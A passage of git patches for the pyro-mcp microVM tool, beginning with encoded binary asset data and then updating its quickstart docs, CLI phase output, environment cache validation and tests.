z5C%TYC+s0fE>$AAvMB;Mm4XN-p&fum3FpUwhFgZDt%dL^p#&w2GS`R3xv0$~xGMw2 z6v57u3HOu>E=AxZmE|K{(q=UHaY)8e2=YFImH=^502fFpkU01SD&|k@`56+5x`c@R zf?Srmkd%~St9NK%D&=QYs`IOw+|xHTJ#T%h(qC%2xq8fTq3R|e-D0x7B?$)8pD0wX5QiYZ?G&g=l6lX;TEcMaIpF$oP=ZwcM_0zuSfxAV#%S1WsRW4b zv#lHu(1@Qn*xNj0-z~yN8j>XR5WgJHBJdG;7(xdVi(LX#3VehgYzqZCWh7kfbHiKo{^9bXEc>K5^!%?zaVjigQ9c+w*l<} zEMAOMKp+Kfz7*s)4t_laeJcsTaZq?!d@oa>o(F6jkCPEeukkS_`ZoF45Fe4?GQxvG z9wAKB`QI9WZ;+yWHC4~kPbc-(2{Z2UvVqKdK3>u zl+)E7nSFb-|4*?Nr^V(S@NM4QbXi_ohrr_jZit}uOzb$b{ffxI)v2n9df)o(H=j#D5bJpV6gz!}O;< zTS{!@8Y#zqEfKu|*zCi{&=h!5LdN6~CTO@wW(Ye=dYpo0S#O*I&|>me@QO&H<|1@J z`;0FBMoqv2F~G9}lKu>!>dJt# z9DK?+zL|>Bfq;Gpw;4i=GM|y!wZDH4}JxQ0dKpiJ0eAxvxBMLH27haI83`ZeE5k+`CN%tn${S zhyaX8FgW{W_?kSPGxqQ}APv0L#(-1zACn$~N}PAXXYY7^?{RHFlBa<*UrNG0r*e1n z7sb|Z+-iO@JU$0N3oXSSAs_s&$}2jKoImh(aEW*+L>|wV$BN#z9|x<>YvXS}CilH1 z^o&Kr!2cxjC+5c=7o~pir5~L7zf4&f-s4x-$XD*)^sV-5I&?uDJ7TCBVRZF%vsI1z z^R$E`BX9l2VveMIae1`0Id$*YduDHnP0pk34=?CPKDsjU`l$A!prX;p>tBn*K}Ej8 z(c#g+PktUZp|>krUwn?!0w)b$${(GWgg?2UJwI9PKl!Zf&B{){+0P2eK4BVsede>N z?B|o^a|-;n$@uiwpQq!*{gaUnkG5W~{D+!K*fir2J6#ttRqa20`Gb7nze(shsLO$A z(eT8Iheopn7d56opO_Nwo1NbHWXfxt84x;^UourcH(9MKTeu0?$Uy6JD`YtEYM#`E zC)3*7C%JPiwQBx*uYVcyxfL`vF(ozU+dOM<_j|0vT-?iIKkc~(!H>c})VS4r;WyM7 zBU27M|6YH{aj%#EWO~Qj;L#`_5%PuOifhe(b926UyL11|Zdo_GWn|Od>oWnbMFo?h ziIVA=p-11V=6NmOWgkqhle)D=IIMeg{=?k+{ju}s9Ou9P`yQaZ;M#{cC%`jq!#5Qq z8u~7zJ3HvS=y5FlrjsE*cgyI&Gcq-y_wRF&@X|t5@t1kWQPJFvSr~Lpgh$c>qsQsQ6@47MXv;XV2f78)N{Y-pEQO2wB7aZ@$EK_e3^Wx{f>deb* zUX(BWmR>p^RJnqC?5OU$;=O-f%XlGo|HAGI^FJL|j6bgW{+)Mzu4ncUNQGnvDafVY zBHG8r;|q)S#*=lMm$Jp8$ojj@Kc-V|tZW%u{`GvW<)cG#>2j#%m(S0?>KTfDrB zAo95W8!leU`8YDA@q_+jIqTVS)c!xxAD0t+|Gs*WTC{og#-w}&@kfbx;oXG=YrTK{ z#!IUE=Xjfc9n_Zenf^Q1z@lt^H2vVm+m+R~nqR#aR&njXw5ymzB#EtYx}&w-o3o`9 z2tn?g+J_k^Eooir?X^AmVia-5@F=^sJ5$9euCsGc=u(7nbBykP8S2TAb9>xe$^7bB zus*T8bwIBENv?JLuR5}Sqif#Q{WEnxV-M}9un5^yEG09u{pyyR|C$F9qK2>Txd7XE zHgRTmd2rX^_g7ZF?d^>H^8E7Nk-2^MjxDF-3wb(k8s+TjXO$H%_nyh#w<)~v%!beZ zDQCsVdyF=IsTG@7HxK+AKh$n@lrWcnYI5jtomGm67m~H>WfVFz!1h%1d_n1r+)vSHRD=+o$_haaRlk!$ry+0 zqkD}V?uHg#z4DLT^W*NlE0?Z1AiPs=Y>~H9Tkop4H(|S@%>GlcTUDZ3WgPxGPaUD% zmtGR}YS@g4`ZBad5-0cie&C9fVfIZ!_!V;UDj9`L5dA;zPl^LGx_dXyzG*E&U#}fs}%89a-*$MLk9SPd4hl71%!&e9m1c zf_CO5Lv6b1az?&|&sK)4 zJUvc1eljcv|7K=x=b(lRu)d1 zOa5@pGy=->UH`Qz3!}07)`9cJ0n1>mP7-Y@!}LQDyurf7xc-ef&-%a#D;M`nRE>r~ zSf**Za^_`+`sjC8Z2{#>R7&U8nsuhIz|a#mCwCt>r&q$AsGrWIMWqdHxqfk#{^Sgk zE#td5&~zy7%9WqmAJ1$Nr>-Wh#XU6}NsE7O*XQ|Ny*{>2eXo6NLj_p{13w>LlFtQA zd&Ya0v#yK2oRow88Cu?7WY92r&PNQV5`USA`TY&kOuTHQQ%Po75d3`7RgZvdW=)FySQ3g4%XOxgPdK7B z4&vRjZ10WRqWVKLL_Aj`fm7*j0|>6)pKTZyQW{nHP`-ga0J63d6I!(uXE}Wu1d?sW zpG&GmWGDF3b_M6*OA5wcVf z(Bj@DWfzvZ+P|)13RMVUeC_mLF8>aYG< zDpZNYcs@(v6r}c#j>M}l`|RgT@Kb9#a0!DurTQUU&mC^}!6fJYc>t9!5!C;?nW?~n z;COn^=Cgx2+_O&V$Fcz|rVF1k8m8XPeF$nZEx%tbS1|6R!Grb`DpM)A^g3s_iU^gI z07uDAeKG#th1YEcP___=D1U>~GLKgmoYMEnZ9j?eUsR7VaFR08A|4>|P-9FtH5C!C zF+WT_hy|c2jGSWv7bQkc7r}?aWl75LpIB%u4<5{Y?X&oTjJ1=|sYLjI{zZ*O_bza> zj9^F!)!;Zhvh#?A3=`lQ=PHdfg=|9j>-CHcNPOz;DILQ-v2}9}LB~hdUon~SfAIUu z(Tu-O>T%|9%_I>Gr3heCJGB#czCy_ckGLI`2f@Rgb3`=?n>=<=qXvTBN}8D~D)=?< z5P&*6j)Ln-(oWP|yIEd~>=+l@V2yT|=)yah3k{TMTO0zq9-}Ck8XY_*ggmF{m_a5e zW#H-%%!Wp|y=P`5DPVghm>SN%^@FiBTouS8{o}S6*YbB$=$MqC&uHybC);6@T+{~s z?WVOn*bbXw#1b7A$nCScKI@qp!#GP6hd>$xdA77iQdG$9&Q18Y zxXQQ@L(dvUH(b1Wc31gq$3kO=Tg7A}!2y zn3yLdJaA!E&<{jyVvd=!x-~xmT~F-aeb)Tu)!%Ax3+C)Z++zTsp0UuHtlJk2U%*k< zw&lZL0;QX*PO1+ZJcJd9%FTyY3=h@28AmhOcnVi_fs zK)rm^*4_IKZ5@UyOO%*mL^d_f?IZ2|^wy5J9LD>o2|n(}R1TV?Mf4{zP%aThjdi=Ere~u;a3VrzPm;}Q?d(!CB1w9FR62JmGX&~hiAQpysVFPJxjOL z{F|SR5V5&PA%JogVbaDfzEdZI`F>8B55pk1v#=c4A!%p&YtId6Cujxru{hnGtgi)|o$h(?R+N_(vN$550C zp9XG?$=hi~AukBBvaTSFS|IeF#iC;`H-5p3=U?6`WbqoD0%)4M|u(g1ZVA1;AU z`MU$8D$}HVHg*bw!N4WhJ{<|yPnea=?L?%V`20?)BtBQ23v{cZlbCRIKfnj*wr^`&Ay`N8?!kW*t`6a~QLLpo%1=LtZSj^3=}tc|lt>J;bxdH3Mo?+5N& zi9aq`n#-;*%h~Bi`&!9YsB+!Yb7OA{NxH}a7i8D+`^=wTGzM;Kh}u?@0mz?^_UA$< z3UGvbX;@MaqUUX(0w91)n?mW*0i&thWGD;18&Y0FrBLBg)O;CE){%Ht@hFppFzS$`J+7swV) zhFih2;510zJug`TxLv#R`__%tgzCT+S8S2-&&RHNYO8naY`uHW^WIZWm1zh+%05O*gwThIAS8rJjX?R4QASxC(D@L(vcowa9>!|MihwK;pxSRB*{@A8?0Q2`g3byD z5Y#Dnh%iT=5AKb~b>d_ybW%BC6&WJvcSw$31S&~{-feK}`+C^XHP1s#AhGNI33HeH z-9XG5I*f`87J zBhf!CE)wq|1_ z9eqiSdC5XlC?6eC$-X}TAUly6{5(HvVB`GdWNw~vBR!u9zw^y8jFWei0z)!=GpPen z^t`m{yj}h5`}6t8PIwXz?N1+aK*CdLXqP{(f^yga-pxf7bSl*oF92*XX#IWY*a&g9 zoHcZKh;7!04iiD{yu6(>2t~^bV${T&?ftB||x8uUkC{E6P5&zDmV z2;CSEx{SHvjPT-R8K)st`hAK0ur1VVa~jNwBk7y0%78!{8p53iH)H}MWXuQzTG0@m zB7{2d3?H%6hMw(3MOcW~GW~!Q2YPK#wSFh&wR@JE5WbNH+cK3YGo>XFx6C>tbQ#Si zV}PA7OBV7=UxsaQN2IsHt*qIFgMROv&35s!+*k;^es;mre6CksqI;H_E`|uPojCB^ zgLdSB7n)>*M}D@sJABKiLmL~~Ak1>FL^w)Bv;Z3|gug5hvul?DE!MO9x7|4kdvte0 zGNe|{tyljsJqfjEa6K0hO%`oWUP0q`?wAL(IP7ixODkQ=v)&6K=!g`0yBVSi$$+qa zeSV>PQM)Bso>w(fSCP8`q`{jk#<>j4SYN9Zdky=xPV3m8y#M~9>)G-o4#Y3slNKx0 zy(1_`P<8FwyJxTX{y)(r@i_{#vEm99m_c?56NRCV-3S5HpPV=xiPbs*plM@cUmVyh zAX~WC?-!ax@2d}i=3VkJj9sUj-d%Q5HB#a9oTv!A_i8Y)G~lXi-|e^9_m6^+(m_YY zTJihm)%Tw>CA`epd;8hbD~b54k1!*Q;xnv|uOr0!{~H5dLm%Tp#%@qCD+fQ8Pko#K z_NSl!$mi{AG&7JbNCRJH=U2G%=F`A$ys-6DxPVP2{o{s(0;A4 z?X2!L+Z?y8$YyCJ|5&Uc>eH5_&#P&fG)FPmQkIV)!F*Xc9z1F<=JTfU)6TsUuIx}3 zo4Xb(N+F412JEnNCqLW8lvb&fugHcu{yWGZgqxgz8Yaeq*uYT=I*x=s82~B-G^p zyMI7Ic``rW29kG?_^0$MA+fHZx7uk@0xUuB0vdz@_>xYwk@~pZ0 z-eC^k+*vX0C5<~+J@Yqk&+{*B(P2$KQEkCd?Y)JZ_QPc>(MJz2szQx&CxG69U1!i`APfXXStsBD}hqOkI=KhgC*aGt{-{#-;q%7@8!YY>w7KG zOVJNr%f6{O@}T#~XUCWcLT`2NY+3GPS?KK4d0yXWmcPQN^Oy#3(cV39bTi7928v46w}kGNm{41aNSJV5l!X9l$zE=7!$ z(VUmBWnwiC-I>^l7h}%M*#6Z1K}=@KUWiq>5qlTI?ABn4Hi;AuF?pNFwMn51w8O;r zAMW7 z@k{tz41eZL+hoMRfzT7DT5eBle6TS41}}eb+HBLAt!42x%JEj43PfBiw+;FcPb|C z+`ml3VF0b42qXd!0~>B2%;2Epd;?%4my)mk_s0K|M-mSFgAo8#$zyi`#8Q7I8BTBv zT#m3rbq;YRsB3#v_m69$^X1Hf$NFzx>MNzV6sT>xRX1?b!0$@Xz^%(q3YEhiS8r>n zf0kkOzoYj5^+f)k!KwehgEIoL;b_U=jPaa8oRK6Qk1eF}{gMN)@4=_}hdmIO5B+6w z>&hqGlM+<62wz{j?0IJLlR1a~Y_HWh>$}Gbr=j}ir$0hTW=ai*o?UQHeq5()9{D7} zbC2cuw;R8DH92PlE^pfz<=+r|BNKmTIbzr4&=&!Jue3KmYdP3=-TPcc^l(Sw=l1)1 zSDU<~-MXBQ@YyaWy7T3Z3Pm?~pZju/dev/null" +Enter Show -Type "printf '\\n# Check host support from the repo checkout\\n'" +Type "# Check that the host can boot and run guests" Enter -Sleep 800ms -Type "uv run pyro doctor" +Sleep 700ms +Type "uvx --from pyro-mcp pyro doctor" Enter Sleep 2200ms -Type "printf '\\n# Inspect and pull the default environment\\n'" +Type "# Pull the default environment into a fresh local cache" Enter -Sleep 800ms -Type "uv run pyro env list" -Enter -Sleep 1800ms -Type "uv run pyro env pull debian:12" -Enter -Sleep 1800ms - -Type "printf '\\n# Run one command in an isolated guest\\n'" -Enter -Sleep 800ms -Type "uv run pyro run debian:12 -- git --version" +Sleep 700ms +Type "uvx --from pyro-mcp pyro env pull debian:12" Enter Sleep 2200ms -Type "printf '\\n# Prove the one-shot VM lifecycle demo\\n'" +Type "# Run one isolated command inside an ephemeral microVM" Enter -Sleep 800ms -Type "uv run pyro demo" +Sleep 700ms +Type "uvx --from pyro-mcp pyro run debian:12 -- git --version" Enter Sleep 2600ms From 694be0730b0f0cce08657f8e3257e71d402d83e9 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Mon, 9 Mar 2026 23:14:52 -0300 Subject: [PATCH 08/49] Align quickstart guidance across docs and CLI --- README.md | 25 +++++++++++++++++++------ docs/first-run.md | 5 +++-- docs/install.md | 22 ++++++++++++++++++++-- src/pyro_mcp/cli.py | 1 + tests/test_cli.py | 1 + 5 files changed, 44 insertions(+), 10 deletions(-) diff --git a/README.md b/README.md index 2fa78c9..a815f32 100644 --- a/README.md +++ b/README.md @@ -18,6 +18,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) +- What's new in 2.0: [CHANGELOG.md#200](CHANGELOG.md#200) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -26,24 +27,35 @@ It exposes the same runtime in three public forms: ## Quickstart -Canonical published-package path: +Use either of these equivalent quickstart paths: ```bash +# Package without install python -m pip install uv uvx --from pyro-mcp pyro doctor +uvx --from pyro-mcp pyro env list uvx --from pyro-mcp pyro env pull debian:12 uvx --from pyro-mcp pyro run debian:12 -- git --version ``` ![Quickstart walkthrough](docs/assets/first-run.gif) -From a repo checkout, replace `uvx --from pyro-mcp pyro` with `uv run pyro`. +```bash +# Already installed +pyro doctor +pyro env list +pyro env pull debian:12 +pyro run debian:12 -- git --version +``` + +From a repo checkout, replace `pyro` with `uv run pyro`. What success looks like: ```bash Platform: linux-x86_64 Runtime: PASS +Catalog version: 2.0.0 ... Pulled: debian:12 ... @@ -56,7 +68,6 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag After the quickstart works: -- inspect the catalog with `uvx --from pyro-mcp pyro env list` - prove the full one-shot lifecycle with `uvx --from pyro-mcp pyro demo` - move to Python or MCP via [docs/integrations.md](docs/integrations.md) @@ -102,7 +113,7 @@ Capabilities: vm_boot=yes guest_exec=yes guest_network=yes Networking: tun=yes ip_forward=yes ``` -### 2. Inspect the catalog and pull the default environment +### 2. Inspect the catalog ```bash uvx --from pyro-mcp pyro env list @@ -117,6 +128,8 @@ debian:12-base [installed|not installed] Minimal Debian 12 environment for shell debian:12-build [installed|not installed] Debian 12 environment with Git and common build tools preinstalled. ``` +### 3. Pull the default environment + ```bash uvx --from pyro-mcp pyro env pull debian:12 ``` @@ -125,7 +138,7 @@ The first pull downloads an OCI environment from public Docker Hub, requires out access to `registry-1.docker.io`, and needs local cache space for the guest image. See [docs/host-requirements.md](docs/host-requirements.md) for the full host requirements. -### 3. Run one command in a guest +### 4. Run one command in a guest ```bash uvx --from pyro-mcp pyro run debian:12 -- git --version @@ -142,7 +155,7 @@ The guest command output and the `[run] ...` summary are written to different st may appear in either order in terminals or capture tools. Use `--json` if you need a deterministic structured result. -### 4. Optional demos +### 5. Optional demos ```bash uvx --from pyro-mcp pyro demo diff --git a/docs/first-run.md b/docs/first-run.md index 4d2f947..eb2da54 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -2,8 +2,9 @@ This is the intended evaluator path for a first successful run on a supported host. Copy the commands as-is. Paths and timing values will differ on your machine. -If you are running from a source checkout instead of the published package, replace -`uvx --from pyro-mcp pyro` with `uv run pyro`. +The same sequence works with an installed `pyro` binary by dropping the +`uvx --from pyro-mcp` prefix. If you are running from a source checkout instead +of the published package, replace `pyro` with `uv run pyro`. ## 1. Verify the host diff --git a/docs/install.md b/docs/install.md index f3e5627..c8618e3 100644 --- a/docs/install.md +++ b/docs/install.md @@ -35,9 +35,25 @@ Use these command forms consistently: ## Fastest Evaluation Path -Use the package directly without a manual install: +Use either of these equivalent evaluator paths: -If you are running from a repo checkout instead, replace `uvx --from pyro-mcp pyro` with `uv run pyro`. +```bash +# Package without install +uvx --from pyro-mcp pyro doctor +uvx --from pyro-mcp pyro env list +uvx --from pyro-mcp pyro env pull debian:12 +uvx --from pyro-mcp pyro run debian:12 -- git --version +``` + +```bash +# Already installed +pyro doctor +pyro env list +pyro env pull debian:12 +pyro run debian:12 -- git --version +``` + +If you are running from a repo checkout instead, replace `pyro` with `uv run pyro`. ### 1. Check the host first @@ -133,6 +149,8 @@ When you are done evaluating and want to remove stale cached environments, run ` ## Installed CLI +If you already installed the package, the same evaluator path works with plain `pyro ...`: + ```bash uv tool install pyro-mcp pyro --version diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index fc88f82..96f0118 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -168,6 +168,7 @@ def _build_parser() -> argparse.ArgumentParser: """ Suggested first run: pyro doctor + pyro env list pyro env pull debian:12 pyro run debian:12 -- git --version diff --git a/tests/test_cli.py b/tests/test_cli.py index 2fd88e9..4c2002c 100644 --- a/tests/test_cli.py +++ b/tests/test_cli.py @@ -27,6 +27,7 @@ def test_cli_help_guides_first_run() -> None: assert "Suggested first run:" in help_text assert "pyro doctor" in help_text + assert "pyro env list" in help_text assert "pyro env pull debian:12" in help_text assert "pyro run debian:12 -- git --version" in help_text assert "Use `pyro mcp serve` only after the CLI validation path works." in help_text From 6e16e74fd54851c07ca703b11bf741e999d67268 Mon Sep 17 00:00:00 2001 From: Thales Maciel Date: Wed, 11 Mar 2026 19:27:09 -0300 Subject: [PATCH 09/49] Harden default environment pull behavior Fix the default one-shot install path so empty bundled profile directories no longer win over OCI-backed environment pulls or leave broken cached symlinks behind. Treat cached installs as valid only when the manifest and boot artifacts are all present, repair invalid installs on the next pull, and add human-mode phase markers for env pull and run without changing JSON output. Align the Python lifecycle example and public docs with the current exec_vm/vm_exec auto-clean semantics, and validate the slice with focused pytest coverage, make check, make dist-check, and a real default-path pull/inspect/run smoke. --- CHANGELOG.md | 11 ++ README.md | 17 +++- docs/first-run.md | 5 + docs/install.md | 12 +++ docs/integrations.md | 6 ++ docs/public-contract.md | 2 + docs/troubleshooting.md | 3 + examples/python_lifecycle.py | 10 +- pyproject.toml | 2 +- src/pyro_mcp/cli.py | 66 ++++++++---- src/pyro_mcp/vm_environments.py | 62 ++++++++---- tests/test_cli.py | 81 ++++++++++++++- tests/test_python_lifecycle_example.py | 53 ++++++++++ tests/test_runtime.py | 9 +- tests/test_vm_environments.py | 134 +++++++++++++++++++------ uv.lock | 2 +- 16 files changed, 384 insertions(+), 91 deletions(-) create mode 100644 tests/test_python_lifecycle_example.py diff --git a/CHANGELOG.md b/CHANGELOG.md index d588825..6cfcb11 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -2,6 +2,17 @@ All notable user-visible changes to `pyro-mcp` are documented here. +## 2.0.1 + +- Fixed the default `pyro env pull` path so empty local profile directories no longer produce + broken cached installs or contradictory "Pulled" / "not installed" states. +- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled + and repaired on the next pull. +- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows + easier to follow from the CLI. +- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec` + auto-clean semantics. + ## 2.0.0 - Made guest execution fail closed by default; host compatibility execution now requires diff --git a/README.md b/README.md index a815f32..11f1e58 100644 --- a/README.md +++ b/README.md @@ -18,7 +18,7 @@ It exposes the same runtime in three public forms: - First run transcript: [docs/first-run.md](docs/first-run.md) - Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif) - PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/) -- What's new in 2.0: [CHANGELOG.md#200](CHANGELOG.md#200) +- What's new in 2.0.1: [CHANGELOG.md#201](CHANGELOG.md#201) - Host requirements: [docs/host-requirements.md](docs/host-requirements.md) - Integration targets: [docs/integrations.md](docs/integrations.md) - Public contract: [docs/public-contract.md](docs/public-contract.md) @@ -57,8 +57,13 @@ Platform: linux-x86_64 Runtime: PASS Catalog version: 2.0.0 ... +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 Pulled: debian:12 ... +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... git version ... ``` @@ -308,6 +313,8 @@ result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) print(result["stdout"]) ``` +`exec_vm()` is a one-command auto-cleaning call. After it returns, the VM is already deleted. + Environment management is also available through the SDK: ```python @@ -329,7 +336,7 @@ Advanced lifecycle tools: - `vm_list_environments()` - `vm_create(environment, vcpu_count=1, mem_mib=1024, ttl_seconds=600, network=false, allow_host_compat=false)` - `vm_start(vm_id)` -- `vm_exec(vm_id, command, timeout_seconds=30)` +- `vm_exec(vm_id, command, timeout_seconds=30)` auto-cleans the VM after that command - `vm_stop(vm_id)` - `vm_delete(vm_id)` - `vm_status(vm_id)` @@ -371,7 +378,11 @@ make check make dist-check ``` -Contributor runtime source artifacts are still maintained under `src/pyro_mcp/runtime_bundle/` and `runtime_sources/`. +Contributor runtime sources live under `runtime_sources/`. The packaged runtime bundle under +`src/pyro_mcp/runtime_bundle/` contains the embedded boot/runtime assets plus manifest metadata; +end-user environment installs pull OCI-published environments by default. Use +`PYRO_RUNTIME_BUNDLE_DIR=build/runtime_bundle` only when you are explicitly validating a locally +built contributor runtime bundle. Official environment publication is performed locally against Docker Hub: diff --git a/docs/first-run.md b/docs/first-run.md index eb2da54..f76167d 100644 --- a/docs/first-run.md +++ b/docs/first-run.md @@ -36,6 +36,8 @@ access to `registry-1.docker.io`, and needs local cache space for the guest imag ```bash $ uvx --from pyro-mcp pyro env pull debian:12 +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 Pulled: debian:12 Version: 1.0.0 Distribution: debian 12 @@ -53,6 +55,9 @@ OCI source: registry-1.docker.io/thalesmaciel/pyro-environment-debian-12:1.0.0 ```bash $ uvx --from pyro-mcp pyro run debian:12 -- git --version +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... git version ... ``` diff --git a/docs/install.md b/docs/install.md index c8618e3..977fc56 100644 --- a/docs/install.md +++ b/docs/install.md @@ -99,6 +99,15 @@ The first pull downloads an OCI environment from public Docker Hub, requires out access to `registry-1.docker.io`, and needs local cache space for the guest image. See [host-requirements.md](host-requirements.md) for the full host requirements. +Expected success signals: + +```bash +[pull] phase=install environment=debian:12 +[pull] phase=ready environment=debian:12 +Pulled: debian:12 +... +``` + ### 4. Run one command in a guest ```bash @@ -108,6 +117,9 @@ uvx --from pyro-mcp pyro run debian:12 -- git --version Expected success signals: ```bash +[run] phase=create environment=debian:12 +[run] phase=start vm_id=... +[run] phase=execute vm_id=... [run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=... git version ... ``` diff --git a/docs/integrations.md b/docs/integrations.md index 1239fdd..5501508 100644 --- a/docs/integrations.md +++ b/docs/integrations.md @@ -64,6 +64,12 @@ Recommended default: - `Pyro.run_in_vm(...)` +Lifecycle note: + +- `Pyro.exec_vm(...)` runs one command and auto-cleans the VM afterward +- use `create_vm(...)` + `start_vm(...)` only when you need pre-exec inspection or status before + that final exec + Examples: - [examples/python_run.py](../examples/python_run.py) diff --git a/docs/public-contract.md b/docs/public-contract.md index 4c36289..b0150b1 100644 --- a/docs/public-contract.md +++ b/docs/public-contract.md @@ -86,6 +86,7 @@ Behavioral defaults: - `Pyro.create_vm(...)` and `Pyro.run_in_vm(...)` default to `vcpu_count=1` and `mem_mib=1024`. - `allow_host_compat` defaults to `False` on `create_vm(...)` and `run_in_vm(...)`. +- `Pyro.exec_vm(...)` runs one command and auto-cleans that VM after the exec completes. ## MCP Contract @@ -109,6 +110,7 @@ Behavioral defaults: - `vm_run` and `vm_create` default to `vcpu_count=1` and `mem_mib=1024`. - `vm_run` and `vm_create` expose `allow_host_compat`, which defaults to `false`. +- `vm_exec` runs one command and auto-cleans that VM after the exec completes. ## Versioning Rule diff --git a/docs/troubleshooting.md b/docs/troubleshooting.md index a8225bd..1b4c125 100644 --- a/docs/troubleshooting.md +++ b/docs/troubleshooting.md @@ -20,6 +20,9 @@ pyro env pull debian:12 If you are validating a freshly published official environment, also verify that the corresponding Docker Hub repository is public. +`PYRO_RUNTIME_BUNDLE_DIR` is a contributor override for validating a locally built runtime bundle. +End-user `pyro env pull` should work without setting it. + ## `pyro run` fails closed before the command executes Cause: diff --git a/examples/python_lifecycle.py b/examples/python_lifecycle.py index 880d683..6f6a82a 100644 --- a/examples/python_lifecycle.py +++ b/examples/python_lifecycle.py @@ -15,13 +15,9 @@ def main() -> None: network=False, ) vm_id = str(created["vm_id"]) - - try: - pyro.start_vm(vm_id) - result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) - print(json.dumps(result, indent=2, sort_keys=True)) - finally: - pyro.delete_vm(vm_id) + pyro.start_vm(vm_id) + result = pyro.exec_vm(vm_id, command="git --version", timeout_seconds=30) + print(json.dumps(result, indent=2, sort_keys=True)) if __name__ == "__main__": diff --git a/pyproject.toml b/pyproject.toml index 7cde7e1..c13a4e7 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -1,6 +1,6 @@ [project] name = "pyro-mcp" -version = "2.0.0" +version = "2.0.1" description = "Curated Linux environments for ephemeral Firecracker-backed VM execution." readme = "README.md" license = { file = "LICENSE" } diff --git a/src/pyro_mcp/cli.py b/src/pyro_mcp/cli.py index 96f0118..39c2434 100644 --- a/src/pyro_mcp/cli.py +++ b/src/pyro_mcp/cli.py @@ -47,6 +47,12 @@ def _print_run_human(payload: dict[str, Any]) -> None: ) +def _print_phase(prefix: str, *, phase: str, **fields: object) -> None: + details = " ".join(f"{key}={value}" for key, value in fields.items()) + suffix = f" {details}" if details else "" + print(f"[{prefix}] phase={phase}{suffix}", file=sys.stderr, flush=True) + + def _print_env_list_human(payload: dict[str, Any]) -> None: print(f"Catalog version: {payload.get('catalog_version', 'unknown')}") environments = payload.get("environments") @@ -464,10 +470,13 @@ def main() -> None: _print_env_list_human(list_payload) return if args.env_command == "pull": - pull_payload = pyro.pull_environment(args.environment) if bool(args.json): + pull_payload = pyro.pull_environment(args.environment) _print_json(pull_payload) else: + _print_phase("pull", phase="install", environment=args.environment) + pull_payload = pyro.pull_environment(args.environment) + _print_phase("pull", phase="ready", environment=args.environment) _print_env_detail_human(pull_payload, action="Pulled") return if args.env_command == "inspect": @@ -489,26 +498,47 @@ def main() -> None: return if args.command == "run": command = _require_command(args.command_args) - try: - result = pyro.run_in_vm( - environment=args.environment, - command=command, - vcpu_count=args.vcpu_count, - mem_mib=args.mem_mib, - timeout_seconds=args.timeout_seconds, - ttl_seconds=args.ttl_seconds, - network=args.network, - allow_host_compat=args.allow_host_compat, - ) - except Exception as exc: # noqa: BLE001 - if bool(args.json): - _print_json({"ok": False, "error": str(exc)}) - else: - print(f"[error] {exc}", file=sys.stderr, flush=True) - raise SystemExit(1) from exc if bool(args.json): + try: + result = pyro.run_in_vm( + environment=args.environment, + command=command, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + timeout_seconds=args.timeout_seconds, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + except Exception as exc: # noqa: BLE001 + _print_json({"ok": False, "error": str(exc)}) + raise SystemExit(1) from exc _print_json(result) else: + vm_id: str | None = None + try: + _print_phase("run", phase="create", environment=args.environment) + created = pyro.create_vm( + environment=args.environment, + vcpu_count=args.vcpu_count, + mem_mib=args.mem_mib, + ttl_seconds=args.ttl_seconds, + network=args.network, + allow_host_compat=args.allow_host_compat, + ) + vm_id = str(created["vm_id"]) + _print_phase("run", phase="start", vm_id=vm_id) + pyro.start_vm(vm_id) + _print_phase("run", phase="execute", vm_id=vm_id) + result = pyro.exec_vm(vm_id, command=command, timeout_seconds=args.timeout_seconds) + except Exception as exc: # noqa: BLE001 + if vm_id is not None: + try: + pyro.manager.delete_vm(vm_id, reason="run_vm_error_cleanup") + except ValueError: + pass + print(f"[error] {exc}", file=sys.stderr, flush=True) + raise SystemExit(1) from exc _print_run_human(result) exit_code = int(result.get("exit_code", 1)) if exit_code != 0: diff --git a/src/pyro_mcp/vm_environments.py b/src/pyro_mcp/vm_environments.py index 6c2a235..801789a 100644 --- a/src/pyro_mcp/vm_environments.py +++ b/src/pyro_mcp/vm_environments.py @@ -185,6 +185,10 @@ def _serialize_environment(environment: VmEnvironment) -> dict[str, object]: } +def _artifacts_ready(root: Path) -> bool: + return (root / "vmlinux").is_file() and (root / "rootfs.ext4").is_file() + + class EnvironmentStore: """Install and inspect curated environments in a local cache.""" @@ -228,7 +232,7 @@ class EnvironmentStore: spec = get_environment(name, runtime_paths=self._runtime_paths) install_dir = self._install_dir(spec) metadata_path = install_dir / "environment.json" - installed = metadata_path.exists() and (install_dir / "vmlinux").exists() + installed = self._load_installed_environment(spec) is not None payload = _serialize_environment(spec) payload.update( { @@ -245,29 +249,12 @@ class EnvironmentStore: def ensure_installed(self, name: str) -> InstalledEnvironment: spec = get_environment(name, runtime_paths=self._runtime_paths) self._platform_dir.mkdir(parents=True, exist_ok=True) - install_dir = self._install_dir(spec) - metadata_path = install_dir / "environment.json" - if 